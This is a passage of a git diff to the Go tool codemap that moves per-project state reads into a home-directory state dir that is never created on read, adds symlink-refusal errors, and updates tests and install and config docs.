subagentStartBlock(root, 50*time.Millisecond); out != "" || launches.Load() != 0 { + t.Fatalf("a live refresher's lock must hold: out=%q launches=%d", out, launches.Load()) + } + dead := exec.Command("git", "--version") + if err := dead.Run(); err != nil { + t.Fatal(err) + } + if err := os.WriteFile(lock, []byte(strconv.Itoa(dead.Process.Pid)), 0o600); err != nil { + t.Fatal(err) + } + if out := subagentStartBlock(root, subagentStartTimeout); !strings.HasPrefix(out, "block ") || renders.Load() != 1 { + t.Fatalf("dead refresher's lock not taken over: out=%q renders=%d", out, renders.Load()) + } + waitForSubagentRefresh(t, root) +} + +// With no usable state dir the block is rendered in the foreground, not +// lost (the cache is an optimisation). +func TestSubagentStartWithoutAStateDirStillPrintsTheBlock(t *testing.T) { + root, renders, launches := subagentCacheRepo(t, 0) + t.Setenv("HOME", filepath.Join(t.TempDir(), "missing")) + t.Setenv("USERPROFILE", filepath.Join(t.TempDir(), "missing")) + if out := subagentStartBlock(root, subagentStartTimeout); !strings.HasPrefix(out, "block ") || renders.Load() != 1 || launches.Load() != 0 { + t.Fatalf("out=%q renders=%d launches=%d", out, renders.Load(), launches.Load()) + } +} diff --git a/config/testmain_test.go b/config/testmain_test.go deleted file mode 100644 index e6667dbe..00000000 --- a/config/testmain_test.go +++ /dev/null @@ -1,20 +0,0 @@ -package config - -import ( - "os" - "testing" -) - -// TestMain points HOME at a temp dir so state never lands in the real -// ~/.codemap. -func TestMain(m *testing.M) { - dir, err := os.MkdirTemp("", "codemap-config-home-*") - if err != nil { - os.Exit(1) - } - os.Setenv("HOME", dir) - os.Setenv("USERPROFILE", dir) - code := m.Run() - _ = os.RemoveAll(dir) - os.Exit(code) -} diff --git a/docs/CONFIG.md b/docs/CONFIG.md index e64096de..de59e94c 100644 --- a/docs/CONFIG.md +++ b/docs/CONFIG.md @@ -11,7 +11,7 @@ codemap config init # auto-detect top extensions, write config codemap config show # display current config ``` -Only `codemap setup`, `codemap config init` and `codemap skill init` create `.codemap/`. Commit `.codemap/config.json` and `.codemap/skills/` if you want to share them; the folder's own `.gitignore` ignores anything else (only leftovers from older versions). Machine state lives in `~/.codemap/state//`, never in the repo ([INSTALL.md](INSTALL.md#setup)). Without `config.json`, codemap auto-detects `only` and `exclude` and keeps them as `auto-config.json` in that state dir. Every full scan (`codemap .`) re-derives them from the files it found, so a changing file mix is picked up, and the tree prints `auto filter: only ...; codemap config show` while they apply. Hooks never scan to compute them. Run `codemap config init` for filters you can tune and commit. An in-repo `config.json` always wins. +Only `codemap setup`, `codemap config init` and `codemap skill init` create `.codemap/`. Commit `.codemap/config.json` and `.codemap/skills/` if you want to share them; the folder's own `.gitignore` ignores anything else (only leftovers from older versions). Machine state lives in `~/.codemap/state//`, never in the repo ([INSTALL.md](INSTALL.md#setup)). Without `config.json`, codemap auto-detects `only` and `exclude` and keeps them as `auto-config.json` in that state dir. `codemap .` re-derives them from `git ls-files` (unbounded, so a repo over the scan bound keeps its code-first filter), picking up a changing file mix, and prints `auto filter: only ...; codemap config show` when the filter hides at least one file. Agent-facing output (hooks, `--json`, MCP) never carries that line, and hooks never scan to compute the filters. Run `codemap config init` for filters you can tune and commit. An in-repo `config.json` always wins. ```json { diff --git a/docs/INSTALL.md b/docs/INSTALL.md index f279dc9e..3289301c 100644 --- a/docs/INSTALL.md +++ b/docs/INSTALL.md @@ -49,9 +49,9 @@ codemap setup - writes the builtin skills to `.claude/skills/` for Claude, keeping any skill file you edited - hooks start and read daemon state at session start -`.codemap/` holds only what you author: `config.json` and `skills/`, both safe to commit. Its `.gitignore` ignores anything else, which is only ever leftovers from older versions; codemap writes that file only when it is missing, so your edits to it stay. +`.codemap/` holds only what you author: `config.json` and `skills/`, both safe to commit. The one exception is a directory you pass as `--setup-root`: a daemon started under it keeps its runtime state in `/.codemap/runtime/`. Its `.gitignore` ignores anything else, which is only ever leftovers from older versions; codemap writes that file only when it is missing, so your edits to it stay. -Machine state never goes into the repo, set up or not, primary checkout or linked worktree. Hooks, the watch daemon and every command keep it under `~/.codemap/state//`, next to the daemon registry in `~/.codemap/daemons/`; `XDG_CACHE_HOME` is not consulted. Every directory is private (0700), every file 0600, and codemap refuses a symlinked state directory or state file. `codemap doctor` prints the exact directory on its `state dir:` line. Only `codemap setup`, `codemap config init` and `codemap skill init` create `.codemap/`; nothing else writes there, and a linked worktree never gets one. A repo without `config.json` gets auto-detected filters stored in the state dir (`auto-config.json`); every full scan (`codemap .`) re-derives them, and the tree says `auto filter: ...` when they apply. Run `codemap config init` to commit filters instead. When there is no home directory, codemap runs without saved state and never creates one. +Machine state never goes into the repo, set up or not, primary checkout or linked worktree. Hooks, the watch daemon and every command keep it under `~/.codemap/state//`, next to the daemon registry in `~/.codemap/daemons/`; `XDG_CACHE_HOME` is not consulted. Every directory is private (0700), every file 0600, and codemap refuses a symlinked state directory or state file. `codemap doctor` prints the exact directory on its `state dir:` line. Only `codemap setup`, `codemap config init` and `codemap skill init` create `.codemap/`; nothing else writes there, and a linked worktree never gets one. A git repo without `config.json` gets auto-detected filters stored in the state dir (`auto-config.json`); `codemap .` re-derives them from git's file list, and the tree says `auto filter: ...` when they hide something. Run `codemap config init` to commit filters instead. Reading never creates state, and a directory outside git gets none. When there is no home directory, codemap runs without saved state and never creates one. Rerunning setup is safe: it changes only what is missing or stale. `--no-config`, `--no-hooks`, `--no-mcp`, and `--no-skills` skip a piece. diff --git a/find/testmain_test.go b/find/testmain_test.go deleted file mode 100644 index 0d257e40..00000000 --- a/find/testmain_test.go +++ /dev/null @@ -1,20 +0,0 @@ -package find - -import ( - "os" - "testing" -) - -// TestMain points HOME at a temp dir so state never lands in the real -// ~/.codemap. -func TestMain(m *testing.M) { - dir, err := os.MkdirTemp("", "codemap-find-home-*") - if err != nil { - os.Exit(1) - } - os.Setenv("HOME", dir) - os.Setenv("USERPROFILE", dir) - code := m.Run() - _ = os.RemoveAll(dir) - os.Exit(code) -} diff --git a/handoff/legacy_test.go b/handoff/legacy_test.go deleted file mode 100644 index 3d9ae688..00000000 --- a/handoff/legacy_test.go +++ /dev/null @@ -1,70 +0,0 @@ -package handoff - -import ( - "os" - "path/filepath" - "testing" - - "codemap/internal/projectpath" -) - -// The first read after an upgrade finds the handoff an older codemap saved in -// the repo, read-only and never through a link; a state-dir copy wins. -func TestReadLatestFallsBackToTheLegacyInRepoHandoffOnce(t *testing.T) { - root, err := filepath.EvalSymlinks(t.TempDir()) - if err != nil { - t.Fatal(err) - } - if err := os.Mkdir(filepath.Join(root, ".git"), 0o755); err != nil { - t.Fatal(err) - } - write := func(path, branch string) { - t.Helper() - if err := os.MkdirAll(filepath.Dir(path), 0o755); err != nil { - t.Fatal(err) - } - if err := os.WriteFile(path, []byte(`{"branch":"`+branch+`"}`), 0o644); err != nil { - t.Fatal(err) - } - } - branch := func() string { - t.Helper() - artifact, err := ReadLatest(root) - if err != nil { - t.Fatal(err) - } - if artifact == nil { - return "" - } - return artifact.Branch - } - - top := filepath.Join(root, ".codemap", latestFilename) - write(top, "top") - if got := branch(); got != "top" { - t.Fatalf("branch = %q, want the top-level legacy handoff", got) - } - nested := filepath.Join(root, ".codemap", "projects", projectpath.ProjectKey(root), latestFilename) - write(nested, "nested") - if got := branch(); got != "nested" { - t.Fatalf("branch = %q, want the per-project legacy handoff first", got) - } - write(LatestPath(root), "state") - if got := branch(); got != "state" { - t.Fatalf("branch = %q, want the state-dir handoff to win", got) - } - if err := os.Remove(LatestPath(root)); err != nil { - t.Fatal(err) - } - if err := os.RemoveAll(filepath.Join(root, ".codemap")); err != nil { - t.Fatal(err) - } - outside := filepath.Join(t.TempDir(), "elsewhere") - write(filepath.Join(outside, latestFilename), "linked") - if err := os.Symlink(outside, filepath.Join(root, ".codemap")); err != nil { - t.Skipf("symlinks unavailable: %v", err) - } - if artifact, _ := ReadLatest(root); artifact != nil { - t.Fatalf("read a legacy handoff through a link: %q", artifact.Branch) - } -} diff --git a/handoff/storage.go b/handoff/storage.go index cc871aa4..a0240e48 100644 --- a/handoff/storage.go +++ b/handoff/storage.go @@ -5,7 +5,6 @@ import ( "encoding/json" "os" "path/filepath" - "strings" "codemap/internal/projectpath" "codemap/internal/runtimefile" @@ -33,7 +32,7 @@ func DeltaPath(root string) string { return displayPath(root, deltaFilename) } func MetricsPath(root string) string { return displayPath(root, metricsFilename) } func displayPath(root, name string) string { - path, err := runtimePath(root, name) + path, err := statePath(root, name) if err != nil { return "" } @@ -43,16 +42,13 @@ func displayPath(root, name string) string { // ReadLatest reads the latest handoff artifact if it exists. // Returns (nil, nil) when no artifact is present. func ReadLatest(root string) (*Artifact, error) { - path, err := runtimePath(root, latestFilename) + path, err := statePath(root, latestFilename) if err != nil { return nil, err } data, err := runtimefile.Read(path) if os.IsNotExist(err) { - if data = readLegacyLatest(root); data == nil { - return nil, nil - } - err = nil + return nil, nil } if err != nil { return nil, err @@ -67,32 +63,6 @@ func ReadLatest(root string) (*Artifact, error) { return &artifact, nil } -// readLegacyLatest returns the handoff an older codemap saved inside the repo, -// so the first session after an upgrade keeps it; the next save lands in the -// state dir and wins from then on. Read-only, and every level must be a real -// directory or regular file, never a link. -func readLegacyLatest(root string) []byte { - dir := filepath.Join(projectpath.RuntimeRoot(root), ".codemap") - for _, rel := range []string{filepath.Join("projects", projectpath.ProjectKey(root)), "."} { - candidate := dir - safe := true - for _, part := range append([]string{""}, strings.Split(rel, string(filepath.Separator))...) { - candidate = filepath.Join(candidate, part) - if info, err := os.Lstat(candidate); err != nil || !info.IsDir() { - safe = false - break - } - } - if !safe { - continue - } - if data, err := runtimefile.Read(filepath.Join(candidate, latestFilename)); err == nil { - return data - } - } - return nil -} - // WriteLatest writes an artifact atomically to handoff.latest.json in the // project's state dir. func WriteLatest(root string, artifact *Artifact) error { @@ -115,6 +85,15 @@ func WriteLatest(root string, artifact *Artifact) error { return appendMetricsAt(filepath.Join(runtimeDir, metricsFilename), artifact) } +// statePath names a state file for reading; it creates nothing. +func statePath(root, name string) (string, error) { + dir, err := projectpath.StateDir(root) + if err != nil { + return "", err + } + return filepath.Join(dir, name), nil +} + func runtimePath(root, name string) (string, error) { dir, err := projectpath.CheckedRuntimeCodemapDir(root) if err != nil { diff --git a/internal/gitexclude/gitexclude_test.go b/internal/gitexclude/gitexclude_test.go index a58e9360..4fb281db 100644 --- a/internal/gitexclude/gitexclude_test.go +++ b/internal/gitexclude/gitexclude_test.go @@ -22,15 +22,6 @@ func gitRun(t *testing.T, dir string, args ...string) string { return string(out) } -func canonical(t *testing.T, path string) string { - t.Helper() - resolved, err := filepath.EvalSymlinks(path) - if err != nil { - t.Fatalf("EvalSymlinks(%q): %v", path, err) - } - return resolved -} - func freshClone(t *testing.T) string { t.Helper() if _, err := exec.LookPath("git"); err != nil { diff --git a/internal/projectpath/path.go b/internal/projectpath/path.go index c1d8680f..afc03990 100644 --- a/internal/projectpath/path.go +++ b/internal/projectpath/path.go @@ -169,9 +169,11 @@ func nearestGitRoot(root string) (string, bool) { // ProjectRuntimeDir returns the per-project mutable-state directory: the // shared runtime area (e.g. a setup root) scoped to this project, so projects // sharing a setup root never collide on pid, state, events, or handoff files. -// It is "" when there is no usable state dir. +// It is "" when there is no usable state dir. It creates nothing (StateDir), +// so it is for reads and for naming paths; writers use +// CheckedRuntimeCodemapDir. func ProjectRuntimeDir(projectRoot string) string { - dir, _ := CheckedRuntimeCodemapDir(projectRoot) + dir, _ := StateDir(projectRoot) return dir } diff --git a/internal/projectpath/runtime.go b/internal/projectpath/runtime.go index e73cbdc6..ba194f76 100644 --- a/internal/projectpath/runtime.go +++ b/internal/projectpath/runtime.go @@ -8,6 +8,8 @@ import ( "fmt" "os" "path/filepath" + + "codemap/internal/runtimefile" ) // RuntimeSelection separates reusable setup policy from mutable project state. @@ -65,6 +67,51 @@ func SelectRuntime(projectRoot string) (RuntimeSelection, error) { return result, nil } +// StateDir returns the directory SelectRuntime would give as ProjectDir, but +// creates nothing: a read of missing state then simply misses. Every level +// that does exist is checked as SelectRuntime checks it (real directory, +// owned by this user, project marker matches). +func StateDir(projectRoot string) (string, error) { + selection, err := Select(projectRoot) + if err != nil { + return "", err + } + var levels []string + if selection.Source == SourceExplicit { + digest := sha256.Sum256([]byte(selection.ProjectRoot)) + runtimeDir := filepath.Join(selection.SetupRoot, ".codemap", "runtime", hex.EncodeToString(digest[:])) + levels = []string{runtimeDir, filepath.Join(runtimeDir, "projects"), filepath.Join(runtimeDir, "projects", ProjectKey(selection.ProjectRoot))} + } else { + base, ok := UserDir() + if !ok { + return "", ErrNoStateDir + } + state := filepath.Join(CanonicalPath(base), "state") + levels = []string{state, filepath.Join(state, ProjectKey(selection.ProjectRoot))} + } + for _, dir := range levels { + info, err := os.Lstat(dir) + if os.IsNotExist(err) { + break + } + if err != nil || !info.IsDir() || !ownedByCurrentUser(info) { + return "", fmt.Errorf("%w: %w", ErrNoStateDir, runtimefile.Unsafe(dir)) + } + } + dir := levels[len(levels)-1] + markerDir := dir + if selection.Source == SourceExplicit { + markerDir = levels[0] + } + if data, err := os.ReadFile(filepath.Join(markerDir, "project.json")); err == nil { + var marker projectMarker + if json.Unmarshal(data, &marker) != nil || marker.CanonicalRoot != CanonicalPath(selection.ProjectRoot) && marker.CanonicalRoot != selection.ProjectRoot { + return "", fmt.Errorf("%w: runtime identity mismatch in %q", ErrNoStateDir, markerDir) + } + } + return dir, nil +} + // IsSetUp reports whether the project's policy directory (/.codemap) // exists. Only explicit commands (setup, config init, skill init) create it. // It never decides where machine state goes: that is always UserDir/state. @@ -163,7 +210,7 @@ func ensureDirectory(path string, perm os.FileMode) error { return fmt.Errorf("inspect runtime directory %q: %w", path, err) } if !info.IsDir() { - return fmt.Errorf("unsafe runtime directory %q: expected a real directory", path) + return runtimefile.Unsafe(path) } return nil } @@ -196,7 +243,7 @@ func ensureProjectMarker(runtimeDir, canonicalRoot string) error { } info, statErr := os.Lstat(path) if statErr != nil || !info.Mode().IsRegular() { - return fmt.Errorf("unsafe runtime identity %q", path) + return runtimefile.Unsafe(path) } data, readErr := os.ReadFile(path) if readErr != nil { diff --git a/internal/projectpath/runtime_cache_test.go b/internal/projectpath/runtime_cache_test.go index 048bfc24..d2708ff3 100644 --- a/internal/projectpath/runtime_cache_test.go +++ b/internal/projectpath/runtime_cache_test.go @@ -5,8 +5,9 @@ import ( "os" "path/filepath" "runtime" - "strings" "testing" + + "codemap/internal/runtimefile" ) func setHome(t *testing.T, dir string) { @@ -79,7 +80,7 @@ func TestSelectRuntimeRefusesLinksFromTheStateLevelDown(t *testing.T) { if err := os.Symlink(planted, filepath.Join(home, rel)); err != nil { t.Skipf("symlinks unavailable: %v", err) } - if _, err := CheckedRuntimeCodemapDir(root); !errors.Is(err, ErrNoStateDir) || !strings.Contains(err.Error(), "unsafe runtime directory") { + if _, err := CheckedRuntimeCodemapDir(root); !errors.Is(err, ErrNoStateDir) || !errors.Is(err, runtimefile.ErrUnsafe) { t.Fatalf("err = %v, want ErrNoStateDir naming an unsafe runtime directory", err) } if entries, _ := os.ReadDir(planted); len(entries) != 0 { diff --git a/internal/runtimefile/append_unix.go b/internal/runtimefile/append_unix.go index 98f41199..a4347da4 100644 --- a/internal/runtimefile/append_unix.go +++ b/internal/runtimefile/append_unix.go @@ -4,7 +4,6 @@ package runtimefile import ( "errors" - "fmt" "os" "syscall" ) @@ -13,7 +12,7 @@ import ( func OpenAppend(path string, mode os.FileMode) (*os.File, error) { fd, err := syscall.Open(path, syscall.O_WRONLY|syscall.O_APPEND|syscall.O_CREAT|syscall.O_NOFOLLOW, uint32(mode.Perm())) if errors.Is(err, syscall.ELOOP) { - return nil, fmt.Errorf("%w %q", ErrUnsafe, path) + return nil, Unsafe(path) } if err != nil { return nil, err @@ -22,7 +21,7 @@ func OpenAppend(path string, mode os.FileMode) (*os.File, error) { info, err := file.Stat() if err != nil || !info.Mode().IsRegular() { _ = file.Close() - return nil, fmt.Errorf("%w %q", ErrUnsafe, path) + return nil, Unsafe(path) } return file, nil } diff --git a/internal/runtimefile/append_windows.go b/internal/runtimefile/append_windows.go index 3153f50d..6303e8e1 100644 --- a/internal/runtimefile/append_windows.go +++ b/internal/runtimefile/append_windows.go @@ -33,7 +33,7 @@ func OpenAppend(path string, mode os.FileMode) (*os.File, error) { } if info.FileAttributes&syscall.FILE_ATTRIBUTE_REPARSE_POINT != 0 || info.FileAttributes&syscall.FILE_ATTRIBUTE_DIRECTORY != 0 { _ = syscall.CloseHandle(handle) - return nil, fmt.Errorf("%w %q", ErrUnsafe, path) + return nil, Unsafe(path) } file := os.NewFile(uintptr(handle), path) if file == nil { diff --git a/internal/runtimefile/runtimefile.go b/internal/runtimefile/runtimefile.go index e9fae73a..9b0af274 100644 --- a/internal/runtimefile/runtimefile.go +++ b/internal/runtimefile/runtimefile.go @@ -8,8 +8,14 @@ import ( "path/filepath" ) -// ErrUnsafe marks a state file that is a symlink or not a regular file. -var ErrUnsafe = errors.New("unsafe runtime file") +// ErrUnsafe marks a state path that is a symlink or of the wrong type. +var ErrUnsafe = errors.New("unsafe codemap state") + +// Unsafe is the one error every refused state path gets: it names the path +// and says what to do. codemap never deletes it itself. +func Unsafe(path string) error { + return fmt.Errorf("%w: %s is a symlink or not a plain file or directory; remove it and rerun", ErrUnsafe, path) +} // WriteAtomic replaces a regular runtime file without following its endpoint. func WriteAtomic(path string, data []byte, mode os.FileMode) error { @@ -22,7 +28,7 @@ func WriteAtomic(path string, data []byte, mode os.FileMode) error { // WriteAtomicWith replaces a regular runtime file with streamed content. func WriteAtomicWith(path string, mode os.FileMode, write func(io.Writer) error) error { if info, err := os.Lstat(path); err == nil && !info.Mode().IsRegular() { - return fmt.Errorf("%w %q", ErrUnsafe, path) + return Unsafe(path) } else if err != nil && !os.IsNotExist(err) { return err } @@ -46,6 +52,28 @@ func WriteAtomicWith(path string, mode os.FileMode, write func(io.Writer) error) return replaceFile(tmpPath, path) } +// EnsureDir makes path a private directory, creating it when missing, and +// refuses a symlink or anything else that is not a real directory, so a +// listing or cleanup inside it never reaches outside the state dir. +func EnsureDir(path string) error { + if err := os.Mkdir(path, 0o700); err != nil && !os.IsExist(err) { + return err + } + return CheckDir(path) +} + +// CheckDir is EnsureDir without creating: a missing path is os.ErrNotExist. +func CheckDir(path string) error { + info, err := os.Lstat(path) + if err != nil { + return err + } + if !info.IsDir() { + return Unsafe(path) + } + return nil +} + // Read rejects symlink and non-regular endpoints. func Read(path string) ([]byte, error) { f, err := OpenRead(path) @@ -65,7 +93,7 @@ func OpenRead(path string) (*os.File, error) { return nil, err } if !before.Mode().IsRegular() { - return nil, fmt.Errorf("%w %q", ErrUnsafe, path) + return nil, Unsafe(path) } f, err := os.Open(path) if err != nil { @@ -73,7 +101,7 @@ func OpenRead(path string) (*os.File, error) { } if after, err := f.Stat(); err != nil || !os.SameFile(before, after) { _ = f.Close() - return nil, fmt.Errorf("%w %q", ErrUnsafe, path) + return nil, Unsafe(path) } return f, nil } diff --git a/main.go b/main.go index 9a457a58..83e79e7e 100644 --- a/main.go +++ b/main.go @@ -465,8 +465,11 @@ func main() { // adds to the config's exclude list (issue #150), since a config exclude // is a standing decision about the repo and one run narrowing further // must not silently re-admit it. - cliExclude := exclude autoFilter := tempDir == "" && len(only) == 0 && cmd.AutoConfigActive(absRoot) + var gitListed []scanner.FileInfo + if autoFilter { + gitListed = cmd.RefreshAutoConfig(absRoot) + } projCfg := config.Load(absRoot) if len(only) == 0 && len(projCfg.Only) > 0 { only = projCfg.Only @@ -577,34 +580,14 @@ func main() { // Scan files, keeping at most the bound and counting the rest (#186). treeFilters := filters treeFilters.IncludeSymlinks = true - if autoFilter { - // Scan unfiltered once: the auto config is re-derived from it, then - // applied, so it follows the repo's file mix with no second scan. - treeFilters.Only, treeFilters.Exclude = nil, cliExclude - } files, totalFiles, err := scanner.ScanFilesBounded(context.Background(), root, gitCache, treeFilters) if err != nil { fmt.Fprintf(os.Stderr, "Error walking tree: %v\n", err) os.Exit(1) } autoNote := "" - if autoFilter { - autoCfg := cmd.RefreshAutoConfig(absRoot, files) - autoNote = cmd.AutoFilterNote(autoCfg) - filters.Only = autoCfg.Only - filters.Exclude = config.MergeExcludes(autoCfg.Exclude, cliExclude) - only, exclude = filters.Only, filters.Exclude - bounded := totalFiles > len(files) - kept := files[:0] - for _, f := range files { - if scanner.MatchesFilters(filepath.ToSlash(f.Path), f.Ext, only, exclude) { - kept = append(kept, f) - } - } - files = kept - if !bounded { - totalFiles = len(files) - } + if autoFilter && os.Getenv(cmd.TreeLeanEnv) == "" { + autoNote = cmd.AutoFilterNote(projCfg, gitListed) } var scanBound *scanner.ScanBound if totalFiles > len(files) { @@ -1014,8 +997,7 @@ func runWatchSubcommand(subCmd, root string) error { return nil } } - fmt.Println("Watch daemon start already in progress") - return nil + return fmt.Errorf("another watch start held the lock and no daemon came up within %s", watchReadinessTimeout) } if err != nil { return fmt.Errorf("starting daemon: %w", err) diff --git a/render/testmain_test.go b/render/testmain_test.go deleted file mode 100644 index 617bd91e..00000000 --- a/render/testmain_test.go +++ /dev/null @@ -1,20 +0,0 @@ -package render - -import ( - "os" - "testing" -) - -// TestMain points HOME at a temp dir so state never lands in the real -// ~/.codemap. -func TestMain(m *testing.M) { - dir, err := os.MkdirTemp("", "codemap-render-home-*") - if err != nil { - os.Exit(1) - } - os.Setenv("HOME", dir) - os.Setenv("USERPROFILE", dir) - code := m.Run() - _ = os.RemoveAll(dir) - os.Exit(code) -} diff --git a/scanner/testmain_test.go b/scanner/testmain_test.go deleted file mode 100644 index 83070f57..00000000 --- a/scanner/testmain_test.go +++ /dev/null @@ -1,20 +0,0 @@ -package scanner - -import ( - "os" - "testing" -) - -// TestMain points HOME at a temp dir so state never lands in the real -// ~/.codemap. -func TestMain(m *testing.M) { - dir, err := os.MkdirTemp("", "codemap-scanner-home-*") - if err != nil { - os.Exit(1) - } - os.Setenv("HOME", dir) - os.Setenv("USERPROFILE", dir) - code := m.Run() - _ = os.RemoveAll(dir) - os.Exit(code) -} diff --git a/skills/testmain_test.go b/skills/testmain_test.go deleted file mode 100644 index 1feab47e..00000000 --- a/skills/testmain_test.go +++ /dev/null @@ -1,20 +0,0 @@ -package skills - -import ( - "os" - "testing" -) - -// TestMain points HOME at a temp dir so state never lands in the real -// ~/.codemap. -func TestMain(m *testing.M) { - dir, err := os.MkdirTemp("", "codemap-skills-home-*") - if err != nil { - os.Exit(1) - } - os.Setenv("HOME", dir) - os.Setenv("USERPROFILE", dir) - code := m.Run() - _ = os.RemoveAll(dir) - os.Exit(code) -} diff --git a/state_location_test.go b/state_location_test.go index 67dc36a7..4739f769 100644 --- a/state_location_test.go +++ b/state_location_test.go @@ -51,7 +51,7 @@ func runEveryEntryPoint(t *testing.T, root, cache string) { t.Helper() cmd := exec.Command(codemapTestBinaryPath, args...) cmd.Dir = root - cmd.Env = append(os.Environ(), "HOME="+cache, "CODEMAP_HOOK_TIMEOUT=30s") + cmd.Env = append(append(os.Environ(), homeEnv(cache)...), "CODEMAP_HOOK_TIMEOUT=30s") cmd.Stdin = strings.NewReader(stdin) var stderr bytes.Buffer cmd.Stderr = &stderr @@ -125,7 +125,7 @@ func TestUnsetUpRepoWithoutCacheDirWritesNothing(t *testing.T) { edit := `{"session_id":"s","tool_input":{"file_path":"` + filepath.ToSlash(filepath.Join(root, "main.go")) + `"}}` var env []string for _, kv := range os.Environ() { - if !strings.HasPrefix(kv, "HOME=") && !strings.HasPrefix(kv, "XDG_CACHE_HOME=") && !strings.HasPrefix(kv, "LOCALAPPDATA=") { + if !strings.HasPrefix(kv, "HOME=") && !strings.HasPrefix(kv, "USERPROFILE=") { env = append(env, kv) } } @@ -157,6 +157,12 @@ func TestUnsetUpRepoWithoutCacheDirWritesNothing(t *testing.T) { } } +// homeEnv points os.UserHomeDir at dir on every OS: Windows reads +// USERPROFILE, not HOME. +func homeEnv(dir string) []string { + return []string{"HOME=" + dir, "USERPROFILE=" + dir} +} + // codemapIn runs the test binary in dir with env appended and returns // combined output. func codemapIn(t *testing.T, dir string, env []string, stdin string, args ...string) (string, error) { @@ -173,7 +179,7 @@ func codemapIn(t *testing.T, dir string, env []string, stdin string, args ...str // thing it may add to the repo is .codemap/. func setUpFixture(t *testing.T, root, cache string) { t.Helper() - if out, err := codemapIn(t, root, []string{"HOME=" + cache}, "", "setup", "--no-hooks", "--no-mcp", "--no-skills", root); err != nil { + if out, err := codemapIn(t, root, homeEnv(cache), "", "setup", "--no-hooks", "--no-mcp", "--no-skills", root); err != nil { t.Fatalf("setup: %v\n%s", err, out) } } @@ -240,7 +246,7 @@ func TestRemovingCodemapDirKeepsStateWhereItIs(t *testing.T) { root := stateFixture(t) cache := t.TempDir() setUpFixture(t, root, cache) - env := []string{"HOME=" + cache} + env := homeEnv(cache) edit := func(file string) { t.Helper() stdin := `{"session_id":"s","tool_input":{"file_path":"` + filepath.ToSlash(filepath.Join(root, file)) + `"}}` @@ -326,7 +332,7 @@ func TestAutoConfigKeepsHubsInADataHeavyRepo(t *testing.T) { t.Fatal(err) } } - out, err := codemapIn(t, root, []string{"HOME=" + t.TempDir()}, "", ".") + out, err := codemapIn(t, root, homeEnv(t.TempDir()), "", ".") if err != nil { t.Fatalf("codemap .: %v\n%s", err, out) } @@ -352,7 +358,7 @@ func TestSetupWhileDaemonRunsKeepsOneDaemon(t *testing.T) { t.Skip("pgrep") } root := projectpathCanonical(t, stateFixture(t)) - env := []string{"HOME=" + t.TempDir()} + env := homeEnv(t.TempDir()) t.Cleanup(func() { _, _ = codemapIn(t, root, env, "", "watch", "stop", root) }) if out, err := codemapIn(t, root, env, "", "watch", "start", root); err != nil { t.Fatalf("watch start: %v\n%s", err, out) @@ -384,7 +390,7 @@ func TestRegisteredDaemonWithEmptyStateDirGetsNoSecond(t *testing.T) { } root := projectpathCanonical(t, stateFixture(t)) home := t.TempDir() - env := []string{"HOME=" + home} + env := homeEnv(home) t.Cleanup(func() { _, _ = codemapIn(t, root, env, "", "watch", "stop", root) }) if out, err := codemapIn(t, root, env, "", "watch", "start", root); err != nil { t.Fatalf("watch start: %v\n%s", err, out) @@ -428,8 +434,8 @@ func TestDifferentXDGCacheHomesShareOneDaemon(t *testing.T) { } root := projectpathCanonical(t, stateFixture(t)) home := t.TempDir() - shell := []string{"HOME=" + home, "XDG_CACHE_HOME=" + t.TempDir()} - gui := []string{"HOME=" + home, "XDG_CACHE_HOME="} + shell := append(homeEnv(home), "XDG_CACHE_HOME="+t.TempDir()) + gui := append(homeEnv(home), "XDG_CACHE_HOME=") t.Cleanup(func() { _, _ = codemapIn(t, root, shell, "", "watch", "stop", root) }) if out, err := codemapIn(t, root, shell, "", "watch", "start", root); err != nil { t.Fatalf("watch start: %v\n%s", err, out) @@ -452,7 +458,7 @@ func TestConcurrentWatchStartsAllSucceedWithOneDaemon(t *testing.T) { t.Skip("pgrep") } root := projectpathCanonical(t, stateFixture(t)) - env := []string{"HOME=" + t.TempDir()} + env := homeEnv(t.TempDir()) t.Cleanup(func() { _, _ = codemapIn(t, root, env, "", "watch", "stop", root) }) const n = 4 outs, errs := make([]string, n), make([]error, n) @@ -494,7 +500,7 @@ func TestPlantedStateFileLinksAreNotWrittenThrough(t *testing.T) { } } runEveryEntryPoint(t, root, home) - if out, err := codemapIn(t, root, []string{"HOME=" + home}, "", "handoff", "."); err == nil { + if out, err := codemapIn(t, root, homeEnv(home), "", "handoff", "."); err == nil { t.Fatalf("handoff saved through a planted link:\n%s", out) } if data, _ := os.ReadFile(outside); string(data) != "mine\n" { @@ -531,9 +537,9 @@ func TestNoUsableStateDirIsQuiet(t *testing.T) { } missing := filepath.Join(t.TempDir(), "gone") cases := map[string][]string{ - "missing home": {"HOME=" + missing, "CODEMAP_DAEMON_REGISTRY="}, - "read-only home": {"HOME=" + readOnly}, - "planted link": {"HOME=" + linkCache}, + "missing home": append(homeEnv(missing), "CODEMAP_DAEMON_REGISTRY="), + "read-only home": homeEnv(readOnly), + "planted link": homeEnv(linkCache), } for name, env := range cases { t.Run(name, func(t *testing.T) { @@ -547,7 +553,7 @@ func TestNoUsableStateDirIsQuiet(t *testing.T) { {`{"session_id":"s"}`, "session-stop"}, } { out, err := codemapIn(t, root, env, step.stdin, "hook", step.hook) - if err != nil || strings.Contains(out, "permission denied") || strings.Contains(out, "unsafe runtime") { + if err != nil || strings.Contains(out, "permission denied") || strings.Contains(out, "unsafe") { t.Fatalf("hook %s: %v\n%s", step.hook, err, out) } } @@ -567,10 +573,13 @@ func TestNoUsableStateDirIsQuiet(t *testing.T) { // V4: a hook timeout that ends the process before the render still leaves // the background render running, which fills the cache and drops its lock. +// The render is held back past the hook's budget, so the slow path does not +// depend on how fast this machine renders. func TestSubagentStartTimeoutStillFillsTheCache(t *testing.T) { root := stateFixture(t) cache := t.TempDir() - out, err := codemapIn(t, root, []string{"HOME=" + cache, "CODEMAP_HOOK_TIMEOUT=1ms"}, `{"cwd":"`+filepath.ToSlash(root)+`"}`, "hook", "subagent-start") + env := append(homeEnv(cache), "CODEMAP_HOOK_TIMEOUT=200ms", "CODEMAP_TEST_SUBAGENT_RENDER_DELAY=2s") + out, err := codemapIn(t, root, env, `{"cwd":"`+filepath.ToSlash(root)+`"}`, "hook", "subagent-start") if err != nil || out != "" { t.Fatalf("timed-out subagent-start: %v %q", err, out) } @@ -582,3 +591,181 @@ func TestSubagentStartTimeoutStillFillsTheCache(t *testing.T) { time.Sleep(50 * time.Millisecond) } } + +// Reading creates nothing: read-only commands leave ~/.codemap/state absent +// in a plain directory (and each subdirectory), and a git repo gets at most +// one entry however many of its directories are looked at. +func TestReadOnlyCommandsCreateNoState(t *testing.T) { + readOnly := func(t *testing.T, home string, 